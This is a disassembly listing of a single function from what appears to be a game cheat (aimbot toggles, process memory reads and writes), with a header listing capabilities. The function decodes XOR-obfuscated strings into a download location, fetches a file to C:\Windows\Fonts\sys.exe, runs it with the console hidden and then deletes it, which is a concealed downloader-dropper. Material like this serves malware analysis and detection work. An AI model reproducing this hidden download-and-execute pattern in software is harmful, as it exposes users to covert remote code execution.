Function at 0x4352a0
Capabilities:
Delete file
Download url
Execute command
Hide graphical window
Log keystrokes via polling
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43a1cb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x338
mov eax, dword [0x444040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x44fbd8], 0
jne 0x4352f8
cmp dword [0x44fbe0], 0
je 0x4352f8
call fcn.00421800
mov esi, dword [0x44f560]
lea eax, [ebp - 0x130]
push eax
push dword [0x44fbe8]
mov dword [ebp - 0x154], esi
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [ebp - 0x128]
sub eax, dword [ebp - 0x130]
movd xmm1, eax
mov eax, dword [ebp - 0x124]
sub eax, dword [ebp - 0x12c]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
lea eax, [ebp - 0x120]
cvtdq2ps xmm0, xmm0
push eax
movss dword [esi + 0x10], xmm1
movss dword [esi + 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edi, dword [ebp - 0x120]
mov ecx, edi
sub ecx, dword [0x44fbf0]
mov esi, dword [ebp - 0x11c]
mov edx, esi
sbb edx, dword [0x44fbf4]
call fcn.00439ae0
mov edx, dword [0x44fbfc]
mov ecx, dword [0x44fbf8]
cvtsd2ss xmm0, xmm0
movss dword [ebp - 0x114], xmm0
call fcn.00439ae0
movss xmm1, dword [ebp - 0x114]
cvtsd2ss xmm0, xmm0
mov eax, dword [ebp - 0x154]
push 0x11
divss xmm1, xmm0
movss dword [eax + 0x18], xmm1
mov dword [0x44fbf4], esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
mov dword [0x44fbf0], edi
call esi
mov edi, dword [ebp - 0x154]
shr eax, 0xf
and al, 1
push 0x10
mov byte [edi + 0xfc], al
call esi
shr eax, 0xf
and al, 1
push 0x12
mov byte [edi + 0xfd], al
call esi
mov ecx, dword [0x44f560]
shr eax, 0xf
and al, 1
mov byte [edi + 0xff], 0
mov byte [edi + 0xfe], al
cmp byte [ecx + 0x37b], 0
lea esi, [ecx + 0xe4]
je 0x43544b
cvttss2si eax, dword [esi]
mov dword [ebp - 0x118], eax
cvttss2si eax, dword [ecx + 0xe8]
mov dword [ebp - 0x114], eax
lea eax, [ebp - 0x118]
push eax
push dword [0x44fbe8]
call dword [sym.imp.USER32.dll_ClientToScreen]
push dword [ebp - 0x114]
push dword [ebp - 0x118]
call dword [sym.imp.USER32.dll_SetCursorPos]
mov dword [esi], 0xff7fffff
mov dword [esi + 4], 0xff7fffff
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [0x44fbe8]
jne 0x4354ad
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x4354ad
lea eax, [ebp - 0x158]
push eax
push dword [0x44fbe8]
call dword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x4354ad
movd xmm0, dword [ebp - 0x158]
movd xmm1, dword [ebp - 0x154]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [esi], xmm0
movss dword [esi + 4], xmm1
cmp byte [edi + 0xbc], 0
je 0x4354bb
or eax, 0xffffffff
jmp 0x4354c6
mov eax, dword [0x44f560]
mov eax, dword [eax + 0x1c98]
cmp dword [0x44ecf8], eax
je 0x4354d8
mov dword [0x44ecf8], eax
call fcn.00421a00
call fcn.00405a30
mov edx, 0x5f
push str.Exit_Kill_Infestation__F12_
push 0x44e7a0
lea ecx, [edx - 0x4b]
call fcn.0042e460
mov edx, 0x4b
push str.Exit_Kill_Cheat__F11_
push 0x44e7a0
lea ecx, [edx - 0x37]
call fcn.0042e460
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
add esp, 0x10
cmp byte [0x44f6be], 0
push 0
je 0x435c47
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call esi
mov dword [ebp - 0x110], 0x3b1619a3
mov dword [ebp - 0x10c], 0xfe631176
mov dword [ebp - 0x108], 0xc2118d0
mov dword [ebp - 0x104], 0xa716c713
mov dword [ebp - 0x100], 0xc5f7315
mov dword [ebp - 0xfc], 0xe1b08bac
mov dword [ebp - 0xf8], 0xfd18d122
mov dword [ebp - 0xf4], 0x1cc5e829
mov dword [ebp - 0xf0], 0xcfc29717
mov dword [ebp - 0xec], 0xefd20a82
mov dword [ebp - 0xe8], 0x72f027e4
mov dword [ebp - 0xe4], 0x9684dabf
mov dword [ebp - 0xe0], 0x7f1328a9
mov dword [ebp - 0xdc], 0xf3167b48
mov dword [ebp - 0xd8], 0x424b9186
mov dword [ebp - 0xd4], 0x3c151bf5
mov dword [ebp - 0xd0], 0x9691e66b
mov dword [ebp - 0xcc], 0xc0eac15e
mov dword [ebp - 0xc8], 0xeaee4c18
mov dword [ebp - 0xc4], 0xd1feb83b
mov dword [ebp - 0xc0], 0xc589fdbd
mov dword [ebp - 0xbc], 0x4dd14994
mov dword [ebp - 0xb8], 0xf82763aa
mov dword [ebp - 0xb4], 0x8ed7b971
mov dword [ebp - 0xb0], 0x534828bf
mov dword [ebp - 0xac], 0xb4ef97ca
mov dword [ebp - 0xa8], 0xd8d05ec
mov dword [ebp - 0xa4], 0xb4f2ca87
mov dword [ebp - 0xa0], 0xd83bf31
mov dword [ebp - 0x9c], 0x86bbf110
mov dword [ebp - 0x98], 0x20f2186e
mov dword [ebp - 0x94], 0xe73af67d
mov dword [ebp - 0x90], 0x9d29e5b3
mov dword [ebp - 0x8c], 0xa3e0a6a6
mov dword [ebp - 0x88], 0x94b89d60
mov dword [ebp - 0x84], 0x595da443
mov dword [ebp - 0x80], 0x6116f1a5
mov dword [ebp - 0x7c], 0x95349d5c
mov dword [ebp - 0x78], 0x1cd424b2
mov dword [ebp - 0x74], 0x6e521cd9
mov dword [ebp - 0x70], 0x519e0027
mov dword [ebp - 0x6c], 0x1bcc97b2
mov dword [ebp - 0x68], 0x49f5de74
mov dword [ebp - 0x64], 0xbc255d6f
mov dword [ebp - 0x60], 0x806d5339
mov dword [ebp - 0x5c], 0x24ecebf8
mov dword [ebp - 0x58], 0xe91fe816
mov dword [ebp - 0x54], 0xf2af6b25
mov dword [ebp - 0x260], 0x4b626dcb
mov dword [ebp - 0x25c], 0xd14c2b05
mov dword [ebp - 0x258], 0x224f7cb3
mov dword [ebp - 0x254], 0xc465ae77
mov dword [ebp - 0x250], 0x6d3b017a
mov dword [ebp - 0x24c], 0x829efbdc
mov dword [ebp - 0x248], 0x9c37bc4d
mov dword [ebp - 0x244], 0x7fa49c5d
mov dword [ebp - 0x240], 0xa1a7fa7f
mov dword [ebp - 0x23c], 0xdefd79f6
mov dword [ebp - 0x238], 0x46c610d5
mov dword [ebp - 0x234], 0xafb7e987
mov dword [ebp - 0x230], 0x4f21119c
mov dword [ebp - 0x22c], 0xc72e4271
mov dword [ebp - 0x228], 0x7364a0b2
mov dword [ebp - 0x224], 0x52522c4
mov dword [ebp - 0x220], 0xa3a9d35a
mov dword [ebp - 0x21c], 0xf2d8f16d
mov dword [ebp - 0x218], 0xdcdc7829
mov dword [ebp - 0x214], 0xb0d18c08
mov dword [ebp - 0x210], 0xa4e89cdc
mov dword [ebp - 0x20c], 0x63b028f5
mov dword [ebp - 0x208], 0xc7421bcf
mov dword [ebp - 0x204], 0xb8eac114
mov dword [ebp - 0x200], 0x6b7b498a
mov dword [ebp - 0x1fc], 0x92def3f3
mov dword [ebp - 0x1f8], 0x3bb07685
mov dword [ebp - 0x1f4], 0x85c3f3b2
mov dword [ebp - 0x1f0], 0x2bb2db05
movups xmm1, xmmword [ebp - 0x260]
mov ecx, 0x30
mov dword [ebp - 0x1ec], 0xb2869c78
lea esi, [ebp - 0x260]
mov dword [ebp - 0x1e8], 0x19c32857
xorps xmm1, xmmword [ebp - 0x110]
lea edi, [ebp - 0x340]
mov dword [ebp - 0x1e4], 0xdf0ac419
xorps xmm0, xmm0
mov dword [ebp - 0x1e0], 0xff1ad3d2
mov dword [ebp - 0x1dc], 0x90d59090
mov dword [ebp - 0x1d8], 0xa58faa53
mov dword [ebp - 0x1d4], 0x6d3c9177
mov dword [ebp - 0x1d0], 0x72939c
mov dword [ebp - 0x1cc], 0xa005a96c
mov dword [ebp - 0x1c8], 0x7db212d3
mov dword [ebp - 0x1c4], 0x5a3125bf
mov dword [ebp - 0x1c0], 0x60a93714
mov dword [ebp - 0x1bc], 0x7dfbf5d1
mov dword [ebp - 0x1b8], 0x7fc5e643
mov dword [ebp - 0x1b4], 0xd9133956
mov dword [ebp - 0x1b0], 0xb4596408
mov dword [ebp - 0x1ac], 0x2dcd99c
mov dword [ebp - 0x1a8], 0xe91fe816
mov dword [ebp - 0x1a4], 0xf2af6b25
rep movsd dword es:[edi], dword [esi]
movaps xmmword [ebp - 0x340], xmm1
lea ecx, [ebp - 0x340]
movaps xmm1, xmmword [ebp - 0x330]
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x100]
movaps xmmword [ebp - 0x330], xmm1
movaps xmm1, xmmword [ebp - 0x320]
xorps xmm1, xmmword [ebp - 0xf0]
movaps xmmword [ebp - 0x320], xmm1
movaps xmm1, xmmword [ebp - 0x310]
xorps xmm1, xmmword [ebp - 0xe0]
movaps xmmword [ebp - 0x310], xmm1
movaps xmm1, xmmword [ebp - 0x300]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x300], xmm1
movaps xmm1, xmmword [ebp - 0x2f0]
xorps xmm1, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x2f0], xmm1
movaps xmm1, xmmword [ebp - 0x2e0]
xorps xmm1, xmmword [ebp - 0xb0]
movaps xmmword [ebp - 0x2e0], xmm1
movaps xmm1, xmmword [ebp - 0x2d0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0x2d0], xmm1
movaps xmm1, xmmword [ebp - 0x2c0]
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x2c0], xmm1
movaps xmm1, xmmword [ebp - 0x2b0]
xorps xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x2b0], xmm1
movaps xmm1, xmmword [ebp - 0x2a0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x2a0], xmm1
movaps xmm1, xmmword [ebp - 0x290]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x290], xmm1
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4359f7
sub ecx, edx
lea eax, [ebp - 0x340]
push ecx
push eax
lea ecx, [ebp - 0x150]
call fcn.00438120
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x178], 0x143923e0
lea edx, [ecx + 1]
mov dword [ebp - 0x174], 0x9a0d7821
xorps xmm0, xmm0
mov dword [ebp - 0x170], 0x23526fbf
mov dword [ebp - 0x16c], 0xc979813c
movups xmm1, xmmword [ebp - 0x178]
mov dword [ebp - 0x168], 0x23700061
mov dword [ebp - 0x164], 0xcfc3f2df
mov dword [ebp - 0x160], 0xfd7da947
mov dword [ebp - 0x15c], 0x1cc5e829
movups xmm2, xmmword [ebp - 0x168]
mov dword [ebp - 0x1a0], 0x3b1619a3
mov dword [ebp - 0x19c], 0xfe631176
mov dword [ebp - 0x198], 0xc2118d0
mov dword [ebp - 0x194], 0xa716c713
mov dword [ebp - 0x190], 0xc5f7315
mov dword [ebp - 0x18c], 0xe1b08bac
mov dword [ebp - 0x188], 0xfd18d122
mov dword [ebp - 0x184], 0x1cc5e829
xorps xmm2, xmmword [ebp - 0x190]
movups xmmword [ebp - 0x280], xmm1
mov dword [ebp - 0x128], 0
xorps xmm1, xmmword [ebp - 0x1a0]
movaps xmmword [ebp - 0x280], xmm1
movaps xmmword [ebp - 0x270], xmm2
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x124], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x435b12
sub ecx, edx
lea eax, [ebp - 0x280]
push ecx
push eax
lea ecx, [ebp - 0x138]
call fcn.00438120
mov byte [ebp - 4], 1
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
push str.C:__Windows__Fonts__sys.exe
call esi
add esp, 4
lea ecx, [ebp - 0x138]
cmp dword [ebp - 0x124], 0xf
lea eax, [ebp - 0x150]
cmova ecx, dword [ebp - 0x138]
cmp dword [ebp - 0x13c], 0xf
push 0
cmova eax, dword [ebp - 0x150]
push 0
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
call edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call edi
push str.C:__Windows__Fonts__sys.exe
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov ecx, str.sys.exe
call fcn.00435110
push str.C:__Windows__Fonts__sys.exe
call esi
mov byte [ebp - 4], 0
add esp, 4
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x435be7
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x435bdd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x435c35
push ecx
push edx
call fcn.00438a7d
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
cmp ecx, 0xf
jbe 0x435c60
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x435c3b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x435c3b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00438a7d
add esp, 8
jmp 0x435c60
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call esi
push str.C:__Windows__Fonts__sys.exe
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x7b
call esi
test al, 1
je 0x435c82
mov ecx, str.EPL.exe
call fcn.00435110
mov ecx, str.infestation.exe
call fcn.00435110
push 0x59
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test al, 1
je 0x435ca2
cmp byte [0x4442e5], 0
push 1
sete byte [0x4442e5]
call edi
mov edx, 0x14
push 0x4406a4
push 0x44e7a0
mov ecx, edx
call fcn.0042e460
add esp, 8
cmp byte [0x44f6b6], 0
je 0x435cd0
mov eax, 0x44e7a0
mov ecx, str._AIMBOT_____V__ON
jmp 0x435cda
mov eax, 0x44e760
mov ecx, str._AIMBOT_____V__OFF
push ecx
mov edx, 0x14
push eax
mov ecx, edx
call fcn.0042e460
add esp, 8
push 0x56
call esi
test al, 1
je 0x435d05
cmp byte [0x44f6b6], 0
push 1
sete byte [0x44f6b6]
call edi
cmp byte [0x4442e5], 0
je 0x435d13
call fcn.00433bf0
push 0x32
lea eax, [ebp - 0x48]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov edi, dword [0x44f6b8]
add esp, 0xc
inc dword [0x44f6a4]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov edx, esi
mov dword [0x44f674], esi
sub edx, dword [0x44f66c]
mov dword [0x44f6a8], edx
cmp edx, 0x5a
jb 0x435da7
mov ecx, dword [0x44f6a4]
movd xmm1, edx
cvtdq2pd xmm1, xmm1
shr edx, 0x1f
movd xmm0, ecx
addsd xmm1, qword [edx*8 + 0x440990]
cvtdq2pd xmm0, xmm0
shr ecx, 0x1f
addsd xmm0, qword [ecx*8 + 0x440990]
mulsd xmm0, qword [0x440808]
divsd xmm0, xmm1
call fcn.004399e0
mov edi, eax
mov dword [0x44f6a4], 0
mov dword [0x44f66c], esi
mov dword [0x44f6b8], edi
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
movss xmm2, dword [0x440798]
xorps xmm3, xmm3
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [0x440744]
subss xmm0, xmm3
comiss xmm0, xmm2
jbe 0x435e05
push edi
push str.FPS_:__d
lea eax, [ebp - 0x48]
push 0x32
push eax
call fcn.0042e2b0
mov edx, 0x32
lea eax, [ebp - 0x48]
push eax
push 0x44e780
lea ecx, [edx - 0x1e]
call fcn.0042e460
movss xmm2, dword [0x440798]
add esp, 0x18
xorps xmm3, xmm3
cmp byte [0x4442e4], 0
je 0x435ff5
mov ecx, dword [0x44e970]
movsd xmm1, qword [0x4407f0]
mov eax, dword [0x44f72c]
cdq
movd xmm0, ecx
sub eax, edx
cvtdq2pd xmm0, xmm0
shr ecx, 0x1f
sar eax, 1
mov dword [ebp - 0x114], eax
mov dword [0x44f69c], eax
mov eax, dword [0x44f728]
cdq
addsd xmm0, qword [ecx*8 + 0x440990]
sub eax, edx
mov edi, dword [0x44f560]
mov edx, eax
add edi, 0x1c24
mov eax, dword [0x44e974]
sar edx, 1
divsd xmm0, xmm1
mov dword [0x44f564], edx
cvtpd2ps xmm4, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x440990]
mov eax, dword [0x44e978]
divsd xmm0, xmm1
cvtpd2ps xmm5, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x440990]
mov eax, dword [0x44e97c]
divsd xmm0, xmm1
cvtpd2ps xmm6, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
comiss xmm3, xmm4
addsd xmm0, qword [eax*8 + 0x440990]
divsd xmm0, xmm1
cvtpd2ps xmm7, xmm0
jbe 0x435edc
xorps xmm0, xmm0
jmp 0x435ee3
movaps xmm0, xmm2
minss xmm0, xmm4
comiss xmm3, xmm5
movss xmm4, dword [0x44084c]
movss xmm1, dword [0x440774]
mulss xmm0, xmm4
addss xmm0, xmm1
cvttss2si ecx, xmm0
jbe 0x435f09
xorps xmm0, xmm0
jmp 0x435f10
movaps xmm0, xmm2
minss xmm0, xmm5
mulss xmm0, xmm4
addss xmm0, xmm1
cvttss2si eax, xmm0
shl eax, 8
or ecx, eax
comiss xmm3, xmm6
jbe 0x435f2b
xorps xmm0, xmm0
jmp 0x435f32
movaps xmm0, xmm2
minss xmm0, xmm6
mulss xmm0, xmm4
addss xmm0, xmm1
cvttss2si eax, xmm0
shl eax, 0x10
or ecx, eax
comiss xmm3, xmm7
jbe 0x435f4d
xorps xmm2, xmm2
jmp 0x435f51
minss xmm2, xmm7
movd xmm0, dword [ebp - 0x114]
mulss xmm2, xmm4
cvtdq2ps xmm0, xmm0
addss xmm2, xmm1
movss dword [ebp - 0x120], xmm0
movd xmm0, edx
cvtdq2ps xmm0, xmm0
cvttss2si esi, xmm2
movss dword [ebp - 0x11c], xmm0
shl esi, 0x18
or esi, ecx
test esi, 0xff000000
je 0x435ff5
movd xmm2, dword [0x44e75c]
lea eax, [ebp - 0x120]
cvtdq2ps xmm2, xmm2
push 0xff
push ecx
mov dword [esp], 0x40c84601
mov ecx, edi
push eax
subss xmm2, xmm1
call fcn.0041ce70
push ecx
mov dword [esp], 0x3f800000
mov ecx, edi
push 1
push esi
push dword [edi + 0x54]
push dword [ecx + 0x5c]
call fcn.0041bd40
mov ecx, dword [edi + 0x58]
test ecx, ecx
jns 0x435fee
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
lea ecx, [edi + 0x54]
call fcn.00412f80
mov dword [edi + 0x54], 0
push 0
push 4
lea eax, [ebp - 0x114]
push eax
mov eax, dword [0x44f724]
add eax, 0x11c7da4
push eax
push dword [0x44f6ac]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x114]
lea ecx, [ebp - 0x154]
push 0
push 4
add eax, 0x58
cmp byte [0x44f6b5], 0
push ecx
push eax
push dword [0x44f6ac]
je 0x43604d
movss xmm0, dword [0x44e758]
movss dword [ebp - 0x154], xmm0
jmp 0x436057
mov dword [ebp - 0x154], 0x3b23d70a
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call fcn.00432c10
call fcn.00406b90
mov eax, dword [0x44f714]
push 0
push 7
push eax
mov ecx, dword [eax]
call dword [ecx + 0xe4]
mov eax, dword [0x44f714]
push 0
push 0x1b
push eax
mov ecx, dword [eax]
call dword [ecx + 0xe4]
mov eax, dword [0x44f714]
push 0
push 0xae
push eax
mov ecx, dword [eax]
call dword [ecx + 0xe4]
mov eax, dword [0x44f714]
push 0
mov ecx, dword [eax]
push ecx
mov dword [esp], 0x3f800000
push 0
push 1
push 0
push 0
push eax
call dword [ecx + 0xac]
mov eax, dword [0x44f714]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
test eax, eax
js 0x4360fd
call fcn.00406fc0
mov ecx, dword [0x44f560]
xor eax, eax
add ecx, 0x1be4
cmp byte [ecx], al
cmove ecx, eax
call fcn.00420fb0
mov eax, dword [0x44f714]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa8]
mov ecx, dword [0x44f714]
push 0
push 0
push 0
mov eax, dword [ecx]
push 0
push ecx
call dword [eax + 0x44]
cmp eax, 0x88760868
jne 0x4361ba
mov eax, dword [0x44f714]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xc]
cmp eax, 0x88760869
jne 0x4361ba
cmp dword [0x44fbe0], 0
je 0x43619c
mov ecx, dword [0x44fbe4]
test ecx, ecx
je 0x436155
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x44fbe4], 0
mov ecx, dword [0x44fbdc]
test ecx, ecx
je 0x43616f
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x44fbdc], 0
mov ecx, dword [0x44fbd8]
mov esi, dword [0x44f560]
test ecx, ecx
je 0x436185
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x44fbd8], 0
mov eax, dword [esi + 0x94]
mov dword [eax + 8], 0
mov eax, dword [0x44f714]
push 0x44f6d4
push eax
mov ecx, dword [eax]
call dword [ecx + 0x40]
cmp dword [0x44fbe0], 0
je 0x4361ba
call fcn.00421800
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00438654
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret